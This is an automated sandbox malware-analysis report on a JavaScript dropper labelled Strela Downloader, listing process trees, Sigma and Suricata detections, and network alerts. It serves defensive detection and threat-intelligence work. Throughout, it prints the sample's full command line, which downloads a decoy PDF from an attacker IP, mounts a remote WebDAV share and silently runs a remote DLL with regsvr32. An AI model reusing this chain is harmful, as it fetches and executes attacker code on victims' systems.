Edit tour

Windows Analysis Report
129415641190368510.js

Overview

General Information

Sample name:	129415641190368510.js
Analysis ID:	1588338
MD5:	d5e168d398fc569dc1ed8c9aeb9de7e0
SHA1:	d2ccb1fdcca589cf7a6d3c68186f847554722997
SHA256:	c1c8b25d3d7a140c195e8ec22c3ac0e82aa2ee4c005ac9160d53539bd10ff325
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5308 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4032 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1524 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1592,i,8814480044832123330,15353537380463715724,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3816 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1616 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5464 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5308	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ProcessId: 5308, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1616, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ProcessId: 5308, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4032, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1524, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3816, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1616, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5464, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3816, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1616, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\129415641190368510.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5308, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\132781501629687.dll, ProcessId: 4032, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:10:10.612776+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:10:13.505209+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T00:10:10.612776+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 129415641190368510.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 129415641190368510.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:10:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
